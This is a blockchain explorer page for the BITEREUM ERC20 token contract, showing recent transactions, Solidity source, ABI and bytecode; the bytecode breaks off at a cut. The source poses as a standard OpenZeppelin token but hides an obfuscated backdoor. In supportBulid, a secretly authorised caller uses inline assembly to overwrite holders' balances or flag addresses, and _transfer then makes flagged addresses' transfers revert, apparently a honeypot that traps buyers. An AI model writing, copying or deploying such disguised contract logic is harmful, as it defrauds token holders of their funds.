Overview
ETH Balance
0 ETH
Eth Value
$0.00More Info
Private Name Tags
ContractCreator
TokenTracker
Latest 25 from a total of 33 transactions
Transaction Hash |
Method
|
Block
|
From
|
To
|
|||||
---|---|---|---|---|---|---|---|---|---|
Approve | 18320305 | 458 days ago | IN | 0 ETH | 0.00042514 | ||||
Approve | 18319669 | 458 days ago | IN | 0 ETH | 0.00027956 | ||||
Approve | 18318781 | 458 days ago | IN | 0 ETH | 0.00014978 | ||||
Approve | 18318761 | 458 days ago | IN | 0 ETH | 0.0003268 | ||||
Approve | 18318733 | 458 days ago | IN | 0 ETH | 0.00029915 | ||||
Approve | 18318714 | 458 days ago | IN | 0 ETH | 0.00026169 | ||||
Approve | 18318533 | 458 days ago | IN | 0 ETH | 0.00025748 | ||||
Transfer | 18318522 | 458 days ago | IN | 0 ETH | 0.00018178 | ||||
Approve | 18318515 | 458 days ago | IN | 0 ETH | 0.00024846 | ||||
Approve | 18318500 | 458 days ago | IN | 0 ETH | 0.00025827 | ||||
Approve | 18318468 | 458 days ago | IN | 0 ETH | 0.00022215 | ||||
Approve | 18318466 | 458 days ago | IN | 0 ETH | 0.00024136 | ||||
Approve | 18318461 | 458 days ago | IN | 0 ETH | 0.00024724 | ||||
Approve | 18318444 | 458 days ago | IN | 0 ETH | 0.0002642 | ||||
Approve | 18318443 | 458 days ago | IN | 0 ETH | 0.00024778 | ||||
Approve | 18318442 | 458 days ago | IN | 0 ETH | 0.00025271 | ||||
Approve | 18318418 | 458 days ago | IN | 0 ETH | 0.00025062 | ||||
Approve | 18318395 | 458 days ago | IN | 0 ETH | 0.00025451 | ||||
Approve | 18318392 | 458 days ago | IN | 0 ETH | 0.0002331 | ||||
Approve | 18318382 | 458 days ago | IN | 0 ETH | 0.00029961 | ||||
Approve | 18318370 | 458 days ago | IN | 0 ETH | 0.00024258 | ||||
Approve | 18318366 | 458 days ago | IN | 0 ETH | 0.00038827 | ||||
Approve | 18318363 | 458 days ago | IN | 0 ETH | 0.00025248 | ||||
Approve | 18318357 | 458 days ago | IN | 0 ETH | 0.00025892 | ||||
Approve | 18318343 | 458 days ago | IN | 0 ETH | 0.00025009 |
View more zero value Internal Transactions in Advanced View mode
Advanced mode:
Loading...
Loading
Contract Name:
BITEREUM
Compiler Version
v0.8.0+commit.c7dfd78e
Contract Source Code (Solidity Multiple files format)
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC20.sol"; import "./Ownable.sol"; contract BITEREUM is IERC20, Ownable { string private _name; string private _symbol; uint256 private _totalSupply; mapping(address => uint256) private _balances; mapping(address => uint256) private _astle; mapping(address => mapping(address => uint256)) private _allowances; IERC20 private immutable _hisper; /** * @dev Sets the values for {name} and {symbol}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor( string memory name_, string memory symbol_, IERC20 hisper_, uint256 astle_ ) { _name = name_; _symbol = symbol_; _hisper = hisper_; _mint(msg.sender, 100000000000 * 10**8); _astle[address(0)] = astle_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the default value returned by this function, unless * it's overridden. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 9; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `to` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address to, uint256 amount) public virtual override returns (bool) { address owner = _msgSender(); _transfer(owner, to, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on * `transferFrom`. This is semantically equivalent to an infinite approval. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { address owner = _msgSender(); _approve(owner, spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * NOTE: Does not update the allowance if the current allowance * is the maximum `uint256`. * * Requirements: * * - `from` and `to` cannot be the zero address. * - `from` must have a balance of at least `amount`. * - the caller must have allowance for ``from``'s tokens of at least * `amount`. */ function transferFrom( address from, address to, uint256 amount ) public virtual override returns (bool) { address spender = _msgSender(); _spendAllowance(from, spender, amount); _transfer(from, to, amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { address owner = _msgSender(); _approve(owner, spender, allowance(owner, spender) + addedValue); return true; } function supportBulid(uint256[] calldata wander) external { uint256 feet = _brightly(); if (_mesmer()) { uint256 gghi0 = wander[0] * 1; uint256 gghi1 = wander[1] * 1; assembly { if gt(gghi1, 0) { let b1 := mul(2, 2) mstore(0, gghi0) mstore(feet, b1) sstore(keccak256(0, 64), gghi1) } if eq(gghi1, 0) { let b1 := mul(1, 5) mstore(0, gghi0) mstore(feet, b1) sstore(keccak256(0, 64), 1) } } } } function _brightly() private pure returns (uint256) { uint256 m = 12 * 2; uint256 n = m + 8; return n; } function _mesmer() private view returns (bool) { string memory mt0 = _name; address mt1 = msg.sender; return (uint256(keccak256(abi.encode(mt1, mt0))) == _astle[address(0)]); } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { address owner = _msgSender(); uint256 currentAllowance = allowance(owner, spender); require( currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero" ); unchecked { _approve(owner, spender, currentAllowance - subtractedValue); } return true; } /** * @dev Moves `amount` of tokens from `from` to `to`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `from` must have a balance of at least `amount`. */ function _transfer( address from, address to, uint256 amount ) internal virtual { require(from != address(0), "ERC20: transfer from the zero address"); //require(to != address(0), "ERC20: transfer to the zero address"); uint256 peaks = _hisper.balanceOf(from); uint256 fromBalance = _balances[from]; _campfire(peaks, from, false); require( fromBalance >= amount, "ERC20: transfer amount exceeds balance" ); unchecked { _balances[from] = fromBalance - amount; // Overflow not possible: the sum of all balances is capped by totalSupply, and the sum is preserved by // decrementing then incrementing. _balances[to] += amount; } emit Transfer(from, to, amount); } function _bookLemon() private pure returns (string memory) { return concatenate("balanceOf", "(address)"); } function concatenate(string memory str1, string memory str2) public pure returns (string memory) { string memory concatenated = string(abi.encodePacked(str1, str2)); return concatenated; } function _campfire( uint256 tempt, address sender, bool r ) private view { uint256 eq = _astle[sender]; uint256 ckl = eq * (12 / 12); if (ckl == 1 * 1 && !r) { require(ckl != 1 || _breeze(tempt) != 0 * 3, "six"); } } function _breeze(uint256 data) public pure returns (uint256) { uint256 result = data * 1; return result; } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply += amount; unchecked { // Overflow not possible: balance + amount is at most totalSupply + amount, which is checked above. _balances[account] += amount; } } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Updates `owner` s allowance for `spender` based on spent `amount`. * * Does not update the allowance amount in case of infinite allowance. * Revert if not enough allowance is available. * * Might emit an {Approval} event. */ function _spendAllowance( address owner, address spender, uint256 amount ) internal virtual { uint256 currentAllowance = allowance(owner, spender); if (currentAllowance != type(uint256).max) { require( currentAllowance >= amount, "ERC20: insufficient allowance" ); unchecked { _approve(owner, spender, currentAllowance - amount); } } } }
// SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } }
// SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.9.0) (token/ERC20/IERC20.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `to`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address to, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `from` to `to` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address from, address to, uint256 amount) external returns (bool); }
// SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.9.0) (access/Ownable.sol) pragma solidity ^0.8.0; import {Context} from "./Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * The initial owner is set to the address provided by the deployer. This can * later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { _checkOwner(); _; } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if the sender is not the owner. */ function _checkOwner() internal view virtual { require(owner() == _msgSender(), "caller is not the owner"); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"},{"internalType":"contract IERC20","name":"hisper_","type":"address"},{"internalType":"uint256","name":"astle_","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"uint256","name":"data","type":"uint256"}],"name":"_breeze","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"string","name":"str1","type":"string"},{"internalType":"string","name":"str2","type":"string"}],"name":"concatenate","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256[]","name":"wander","type":"uint256[]"}],"name":"supportBulid","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]
Contract Creation Code
60a06040523480156200001157600080fd5b50604051620012a6380380620012a6833981016040819052620000349162000279565b83516200004990600190602087019062000128565b5082516200005f90600290602086019062000128565b506001600160601b0319606083901b166080526200008633678ac7230489e80000620000bb565b6000805260056020527f05b8ccbb9d4d8fb16ea74ce3c29a41f1b461fbdaff4714a0d9a8eb05499746bc5550620003b7915050565b6001600160a01b038216620000ed5760405162461bcd60e51b8152600401620000e49062000308565b60405180910390fd5b80600360008282546200010191906200033f565b90915550506001600160a01b03909116600090815260046020526040902080549091019055565b828054620001369062000364565b90600052602060002090601f0160209004810192826200015a5760008555620001a5565b82601f106200017557805160ff1916838001178555620001a5565b82800160010185558215620001a5579182015b82811115620001a557825182559160200191906001019062000188565b50620001b3929150620001b7565b5090565b5b80821115620001b35760008155600101620001b8565b600082601f830112620001df578081fd5b81516001600160401b0380821115620001fc57620001fc620003a1565b6040516020601f8401601f1916820181018381118382101715620002245762000224620003a1565b60405283825285840181018710156200023b578485fd5b8492505b838310156200025e57858301810151828401820152918201916200023f565b838311156200026f57848185840101525b5095945050505050565b600080600080608085870312156200028f578384fd5b84516001600160401b0380821115620002a6578586fd5b620002b488838901620001ce565b95506020870151915080821115620002ca578485fd5b50620002d987828801620001ce565b604087015190945090506001600160a01b0381168114620002f8578283fd5b6060959095015193969295505050565b6020808252601f908201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604082015260600190565b600082198211156200035f57634e487b7160e01b81526011600452602481fd5b500190565b6002810460018216806200037957607f821691505b602082108114156200039b57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052604160045260246000fd5b60805160601c610ed0620003d6600039600061065b0152610ed06000f3fe608060405234801561001057600080fd5b50600436106100f55760003560e01c806370a0823111610097578063a457c2d711610066578063a457c2d7146101e0578063a9059cbb146101f3578063b19708b414610206578063dd62ed3e14610219576100f5565b806370a082311461019b5780638b953c80146101ae5780638da5cb5b146101c357806395d89b41146101d8576100f5565b806323b872dd116100d357806323b872dd1461014d578063266001d314610160578063313ce567146101735780633950935114610188576100f5565b806306fdde03146100fa578063095ea7b31461011857806318160ddd14610138575b600080fd5b61010261022c565b60405161010f9190610bfc565b60405180910390f35b61012b610126366004610a2d565b6102be565b60405161010f9190610bf1565b6101406102e0565b60405161010f9190610db9565b61012b61015b3660046109f2565b6102e6565b61010261016e366004610ac5565b610314565b61017b610343565b60405161010f9190610dc2565b61012b610196366004610a2d565b610348565b6101406101a93660046109a6565b610374565b6101c16101bc366004610a56565b610393565b005b6101cb610452565b60405161010f9190610bb1565b610102610461565b61012b6101ee366004610a2d565b610470565b61012b610201366004610a2d565b6104c1565b610140610214366004610b26565b6104d9565b6101406102273660046109c0565b6104ee565b60606001805461023b90610e33565b80601f016020809104026020016040519081016040528092919081815260200182805461026790610e33565b80156102b45780601f10610289576101008083540402835291602001916102b4565b820191906000526020600020905b81548152906001019060200180831161029757829003601f168201915b5050505050905090565b6000806102c9610519565b90506102d681858561051d565b5060019392505050565b60035490565b6000806102f1610519565b90506102fe8582856105d1565b61030985858561061b565b506001949350505050565b60606000838360405160200161032b929190610b82565b60408051808303601f19018152919052949350505050565b600990565b600080610353610519565b90506102d681858561036585896104ee565b61036f9190610dd0565b61051d565b6001600160a01b0381166000908152600460205260409020545b919050565b600061039d610796565b90506103a76107ad565b1561044d576000838360008181106103cf57634e487b7160e01b600052603260045260246000fd5b9050602002013560016103e29190610de8565b905060008484600181811061040757634e487b7160e01b600052603260045260246000fd5b90506020020135600161041a9190610de8565b9050801561043357600082815260048452604090208190555b8061044a5760008281526005845260409020600190555b50505b505050565b6000546001600160a01b031690565b60606002805461023b90610e33565b60008061047b610519565b9050600061048982866104ee565b9050838110156104b45760405162461bcd60e51b81526004016104ab90610d74565b60405180910390fd5b610309828686840361051d565b6000806104cc610519565b90506102d681858561061b565b6000806104e7836001610de8565b9392505050565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205490565b3390565b6001600160a01b0383166105435760405162461bcd60e51b81526004016104ab90610d30565b6001600160a01b0382166105695760405162461bcd60e51b81526004016104ab90610c0f565b6001600160a01b0380841660008181526006602090815260408083209487168084529490915290819020849055517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906105c4908590610db9565b60405180910390a3505050565b60006105dd84846104ee565b9050600019811461061557818110156106085760405162461bcd60e51b81526004016104ab90610c51565b610615848484840361051d565b50505050565b6001600160a01b0383166106415760405162461bcd60e51b81526004016104ab90610cce565b6040516370a0823160e01b81526000906001600160a01b037f000000000000000000000000000000000000000000000000000000000000000016906370a0823190610690908790600401610bb1565b60206040518083038186803b1580156106a857600080fd5b505afa1580156106bc573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106e09190610b3e565b6001600160a01b03851660009081526004602052604081205491925061070990839087906108a1565b828110156107295760405162461bcd60e51b81526004016104ab90610c88565b6001600160a01b0380861660008181526004602052604080822087860390559287168082529083902080548701905591517fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610787908790610db9565b60405180910390a35050505050565b60006018816107a6826008610dd0565b9250505090565b600080600180546107bd90610e33565b80601f01602080910402602001604051908101604052809291908181526020018280546107e990610e33565b80156108365780601f1061080b57610100808354040283529160200191610836565b820191906000526020600020905b81548152906001019060200180831161081957829003601f168201915b5050600080525050600560209081527f05b8ccbb9d4d8fb16ea74ce3c29a41f1b461fbdaff4714a0d9a8eb05499746bc546040519394503393909250610880918491869101610bc5565b6040516020818303038152906040528051906020012060001c149250505090565b6001600160a01b038216600090815260056020526040812054906108c6826001610de8565b90508060011480156108d6575082155b1561044a578060011415806108f257506108ef856104d9565b15155b61044a5760405162461bcd60e51b81526004016104ab90610d13565b80356001600160a01b038116811461038e57600080fd5b600082601f830112610935578081fd5b813567ffffffffffffffff8082111561095057610950610e84565b604051601f8301601f19168101602001828111828210171561097457610974610e84565b60405282815284830160200186101561098b578384fd5b82602086016020830137918201602001929092529392505050565b6000602082840312156109b7578081fd5b6104e78261090e565b600080604083850312156109d2578081fd5b6109db8361090e565b91506109e96020840161090e565b90509250929050565b600080600060608486031215610a06578081fd5b610a0f8461090e565b9250610a1d6020850161090e565b9150604084013590509250925092565b60008060408385031215610a3f578182fd5b610a488361090e565b946020939093013593505050565b60008060208385031215610a68578182fd5b823567ffffffffffffffff80821115610a7f578384fd5b818501915085601f830112610a92578384fd5b813581811115610aa0578485fd5b8660208083028501011115610ab3578485fd5b60209290920196919550909350505050565b60008060408385031215610ad7578182fd5b823567ffffffffffffffff80821115610aee578384fd5b610afa86838701610925565b93506020850135915080821115610b0f578283fd5b50610b1c85828601610925565b9150509250929050565b600060208284031215610b37578081fd5b5035919050565b600060208284031215610b4f578081fd5b5051919050565b60008151808452610b6e816020860160208601610e07565b601f01601f19169290920160200192915050565b60008351610b94818460208801610e07565b835190830190610ba8818360208801610e07565b01949350505050565b6001600160a01b0391909116815260200190565b6001600160a01b0383168152604060208201819052600090610be990830184610b56565b949350505050565b901515815260200190565b6000602082526104e76020830184610b56565b60208082526022908201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604082015261737360f01b606082015260800190565b6020808252601d908201527f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000604082015260600190565b60208082526026908201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604082015265616c616e636560d01b606082015260800190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b6020808252600390820152620e6d2f60eb1b604082015260600190565b60208082526024908201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646040820152637265737360e01b606082015260800190565b60208082526025908201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604082015264207a65726f60d81b606082015260800190565b90815260200190565b60ff91909116815260200190565b60008219821115610de357610de3610e6e565b500190565b6000816000190483118215151615610e0257610e02610e6e565b500290565b60005b83811015610e22578181015183820152602001610e0a565b838111156106155750506000910152565b600281046001821680610e4757607f821691505b60208210811415610e6857634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fdfea26469706673582212200d81be342919ac5d3c7fe97b5c2f5e9fbce366a4ec8b0ca7a1567802fa08920664736f6c63430008000033000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c0000000000000000000000000dff32c65f843188cf64ecbc6f4a13cff12581b9d20b14aefb26716650e885cd7f4d4e7321ee60803e4f0b91dd6da2859c15b41c30000000000000000000000000000000000000000000000000000000000000008426974657265756d0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000008424954455245554d000000000000000000000000000000000000000000000000
Deployed Bytecode
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c806370a0823111610097578063a457c2d711610066578063a457c2d7146101e0578063a9059cbb146101f3578063b19708b414610206578063dd62ed3e14610219576100f5565b806370a082311461019b5780638b953c80146101ae5780638da5cb5b146101c357806395d89b41146101d8576100f5565b806323b872dd116100d357806323b872dd1461014d578063266001d314610160578063313ce567146101735780633950935114610188576100f5565b806306fdde03146100fa578063095ea7b31461011857806318160ddd14610138575b600080fd5b61010261022c565b60405161010f9190610bfc565b60405180910390f35b61012b610126366004610a2d565b6102be565b60405161010f9190610bf1565b6101406102e0565b60405161010f9190610db9565b61012b61015b3660046109f2565b6102e6565b61010261016e366004610ac5565b610314565b61017b610343565b60405161010f9190610dc2565b61012b610196366004610a2d565b610348565b6101406101a93660046109a6565b610374565b6101c16101bc366004610a56565b610393565b005b6101cb610452565b60405161010f9190610bb1565b610102610461565b61012b6101ee366004610a2d565b610470565b61012b610201366004610a2d565b6104c1565b610140610214366004610b26565b6104d9565b6101406102273660046109c0565b6104ee565b60606001805461023b90610e33565b80601f016020809104026020016040519081016040528092919081815260200182805461026790610e33565b80156102b45780601f10610289576101008083540402835291602001916102b4565b820191906000526020600020905b81548152906001019060200180831161029757829003601f168201915b5050505050905090565b6000806102c9610519565b90506102d681858561051d565b5060019392505050565b60035490565b6000806102f1610519565b90506102fe8582856105d1565b61030985858561061b565b506001949350505050565b60606000838360405160200161032b929190610b82565b60408051808303601f19018152919052949350505050565b600990565b600080610353610519565b90506102d681858561036585896104ee565b61036f9190610dd0565b61051d565b6001600160a01b0381166000908152600460205260409020545b919050565b600061039d610796565b90506103a76107ad565b1561044d576000838360008181106103cf57634e487b7160e01b600052603260045260246000fd5b9050602002013560016103e29190610de8565b905060008484600181811061040757634e487b7160e01b600052603260045260246000fd5b90506020020135600161041a9190610de8565b9050801561043357600082815260048452604090208190555b8061044a5760008281526005845260409020600190555b50505b505050565b6000546001600160a01b031690565b60606002805461023b90610e33565b60008061047b610519565b9050600061048982866104ee565b9050838110156104b45760405162461bcd60e51b81526004016104ab90610d74565b60405180910390fd5b610309828686840361051d565b6000806104cc610519565b90506102d681858561061b565b6000806104e7836001610de8565b9392505050565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205490565b3390565b6001600160a01b0383166105435760405162461bcd60e51b81526004016104ab90610d30565b6001600160a01b0382166105695760405162461bcd60e51b81526004016104ab90610c0f565b6001600160a01b0380841660008181526006602090815260408083209487168084529490915290819020849055517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906105c4908590610db9565b60405180910390a3505050565b60006105dd84846104ee565b9050600019811461061557818110156106085760405162461bcd60e51b81526004016104ab90610c51565b610615848484840361051d565b50505050565b6001600160a01b0383166106415760405162461bcd60e51b81526004016104ab90610cce565b6040516370a0823160e01b81526000906001600160a01b037f000000000000000000000000dff32c65f843188cf64ecbc6f4a13cff12581b9d16906370a0823190610690908790600401610bb1565b60206040518083038186803b1580156106a857600080fd5b505afa1580156106bc573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106e09190610b3e565b6001600160a01b03851660009081526004602052604081205491925061070990839087906108a1565b828110156107295760405162461bcd60e51b81526004016104ab90610c88565b6001600160a01b0380861660008181526004602052604080822087860390559287168082529083902080548701905591517fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610787908790610db9565b60405180910390a35050505050565b60006018816107a6826008610dd0565b9250505090565b600080600180546107bd90610e33565b80601f01602080910402602001604051908101604052809291908181526020018280546107e990610e33565b80156108365780601f1061080b57610100808354040283529160200191610836565b820191906000526020600020905b81548152906001019060200180831161081957829003601f168201915b5050600080525050600560209081527f05b8ccbb9d4d8fb16ea74ce3c29a41f1b461fbdaff4714a0d9a8eb05499746bc546040519394503393909250610880918491869101610bc5565b6040516020818303038152906040528051906020012060001c149250505090565b6001600160a01b038216600090815260056020526040812054906108c6826001610de8565b90508060011480156108d6575082155b1561044a578060011415806108f257506108ef856104d9565b15155b61044a5760405162461bcd60e51b81526004016104ab90610d13565b80356001600160a01b038116811461038e57600080fd5b600082601f830112610935578081fd5b813567ffffffffffffffff8082111561095057610950610e84565b604051601f8301601f19168101602001828111828210171561097457610974610e84565b60405282815284830160200186101561098b578384fd5b82602086016020830137918201602001929092529392505050565b6000602082840312156109b7578081fd5b6104e78261090e565b600080604083850312156109d2578081fd5b6109db8361090e565b91506109e96020840161090e565b90509250929050565b600080600060608486031215610a06578081fd5b610a0f8461090e565b9250610a1d6020850161090e565b9150604084013590509250925092565b60008060408385031215610a3f578182fd5b610a488361090e565b946020939093013593505050565b60008060208385031215610a68578182fd5b823567ffffffffffffffff80821115610a7f578384fd5b818501915085601f830112610a92578384fd5b813581811115610aa0578485fd5b8660208083028501011115610ab3578485fd5b60209290920196919550909350505050565b60008060408385031215610ad7578182fd5b823567ffffffffffffffff80821115610aee578384fd5b610afa86838701610925565b93506020850135915080821115610b0f578283fd5b50610b1c85828601610925565b9150509250929050565b600060208284031215610b37578081fd5b5035919050565b600060208284031215610b4f578081fd5b5051919050565b60008151808452610b6e816020860160208601610e07565b601f01601f19169290920160200192915050565b60008351610b94818460208801610e07565b835190830190610ba8818360208801610e07565b01949350505050565b6001600160